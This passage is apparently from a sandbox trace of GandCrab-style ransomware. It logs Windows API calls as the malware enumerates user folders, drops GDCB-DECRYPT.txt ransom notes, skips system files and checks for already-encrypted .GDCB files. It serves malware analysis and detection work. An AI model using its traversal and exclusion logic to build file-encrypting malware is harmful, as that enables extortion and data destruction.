returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0135.368] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned 28 [0135.368] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.368] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0135.368] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0135.369] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0135.369] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned 32 [0135.369] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.369] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0135.369] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0135.369] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0135.369] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned 31 [0135.369] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.369] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0135.369] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0135.369] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0135.369] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned 28 [0135.369] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.369] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.369] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.369] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\\\GDCB-DECRYPT.txt") returned 39 [0135.369] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.370] GetLastError () returned 0x50 [0135.370] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.370] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\") returned 22 [0135.370] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\*" [0135.370] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7a40 [0135.370] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.370] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.370] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.370] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.370] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.370] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0135.370] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0135.370] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0135.370] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0135.370] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.370] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.370] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.370] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.370] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.370] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.370] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned 30 [0135.370] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*" [0135.371] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*", lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 0x2c7500 [0135.371] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.371] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0135.371] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.371] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.371] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0135.371] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.371] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.371] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt" [0135.371] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned 46 [0135.371] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.371] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0135.371] lstrcmpW (lpString1="Local", lpString2=".") returned 1 [0135.371] lstrcmpW (lpString1="Local", lpString2="..") returned 1 [0135.371] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="Local" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local" [0135.371] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 35 [0135.371] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0135.371] lstrcmpW (lpString1="LocalLow", lpString2=".") returned 1 [0135.371] lstrcmpW (lpString1="LocalLow", lpString2="..") returned 1 [0135.371] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="LocalLow" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow" [0135.371] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow") returned 38 [0135.371] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0135.371] lstrcmpW (lpString1="Roaming", lpString2=".") returned 1 [0135.371] lstrcmpW (lpString1="Roaming", lpString2="..") returned 1 [0135.371] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0135.371] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned 37 [0135.371] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 0 [0135.371] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.371] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.371] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\\\GDCB-DECRYPT.txt") returned 47 [0135.371] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.372] GetLastError () returned 0x50 [0135.372] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.372] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned 30 [0135.372] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*" [0135.372] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*", lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 0x2c7600 [0135.372] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.372] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0135.372] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.372] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.372] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0135.372] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.372] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.372] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt" [0135.372] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.372] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned 46 [0135.373] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned 46 [0135.373] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned 46 [0135.373] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned 46 [0135.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.373] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.373] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0135.373] lstrcmpW (lpString1="Local", lpString2=".") returned 1 [0135.373] lstrcmpW (lpString1="Local", lpString2="..") returned 1 [0135.373] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="Local" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local" [0135.373] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\" [0135.373] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.373] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.373] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.373] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.373] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.373] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.373] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0135.373] lstrcmpW (lpString1="LocalLow", lpString2=".") returned 1 [0135.373] lstrcmpW (lpString1="LocalLow", lpString2="..") returned 1 [0135.373] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="LocalLow" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow" [0135.373] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow\\" [0135.373] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.374] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.374] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0135.374] lstrcmpW (lpString1="Roaming", lpString2=".") returned 1 [0135.374] lstrcmpW (lpString1="Roaming", lpString2="..") returned 1 [0135.374] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0135.374] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0135.374] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.374] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.374] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned 38 [0135.374] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*" [0135.374] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*", lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 0x2c7500 [0135.374] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.374] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.375] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.375] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.375] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.375] lstrcmpW (lpString1="004-sn-0z5C.wav.GDCB", lpString2=".") returned 1 [0135.375] lstrcmpW (lpString1="004-sn-0z5C.wav.GDCB", lpString2="..") returned 1 [0135.375] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="004-sn-0z5C.wav.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav.GDCB" [0135.375] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav.GDCB") returned 58 [0135.375] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.375] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.375] lstrcmpW (lpString1="1WmQLmoja01-EP.gif.GDCB", lpString2=".") returned 1 [0135.375] lstrcmpW (lpString1="1WmQLmoja01-EP.gif.GDCB", lpString2="..") returned 1 [0135.375] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="1WmQLmoja01-EP.gif.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif.GDCB" [0135.375] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif.GDCB") returned 61 [0135.375] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.375] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.375] lstrcmpW (lpString1="4SCtkxF.ots.GDCB", lpString2=".") returned 1 [0135.375] lstrcmpW (lpString1="4SCtkxF.ots.GDCB", lpString2="..") returned 1 [0135.375] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="4SCtkxF.ots.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots.GDCB" [0135.375] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots.GDCB") returned 54 [0135.375] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.375] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.375] lstrcmpW (lpString1="6ttfnwVzD3wR1.wav.GDCB", lpString2=".") returned 1 [0135.375] lstrcmpW (lpString1="6ttfnwVzD3wR1.wav.GDCB", lpString2="..") returned 1 [0135.375] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="6ttfnwVzD3wR1.wav.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav.GDCB" [0135.375] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav.GDCB") returned 60 [0135.375] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.375] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.375] lstrcmpW (lpString1="8MU6pxFxklXwXFC.m4a.GDCB", lpString2=".") returned 1 [0135.375] lstrcmpW (lpString1="8MU6pxFxklXwXFC.m4a.GDCB", lpString2="..") returned 1 [0135.375] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="8MU6pxFxklXwXFC.m4a.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a.GDCB" [0135.375] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a.GDCB") returned 62 [0135.375] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.375] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.375] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0135.375] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0135.375] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Adobe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" [0135.375] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned 43 [0135.375] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.375] lstrcmpW (lpString1="CztjLRmT.bmp.GDCB", lpString2=".") returned 1 [0135.375] lstrcmpW (lpString1="CztjLRmT.bmp.GDCB", lpString2="..") returned 1 [0135.375] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="CztjLRmT.bmp.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp.GDCB" [0135.375] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp.GDCB") returned 55 [0135.375] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.375] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.375] lstrcmpW (lpString1="ExocxBlrLmuRHv.gif.GDCB", lpString2=".") returned 1 [0135.375] lstrcmpW (lpString1="ExocxBlrLmuRHv.gif.GDCB", lpString2="..") returned 1 [0135.375] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="ExocxBlrLmuRHv.gif.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif.GDCB" [0135.375] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif.GDCB") returned 61 [0135.375] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.375] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.376] lstrcmpW (lpString1="FCmH0Q4.bmp.GDCB", lpString2=".") returned 1 [0135.376] lstrcmpW (lpString1="FCmH0Q4.bmp.GDCB", lpString2="..") returned 1 [0135.376] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="FCmH0Q4.bmp.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp.GDCB" [0135.376] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp.GDCB") returned 54 [0135.376] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.376] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.376] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.376] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.376] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\GDCB-DECRYPT.txt" [0135.376] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\GDCB-DECRYPT.txt") returned 54 [0135.376] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.376] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.376] lstrcmpW (lpString1="Identities", lpString2=".") returned 1 [0135.376] lstrcmpW (lpString1="Identities", lpString2="..") returned 1 [0135.376] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Identities" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities" [0135.376] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities") returned 48 [0135.376] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 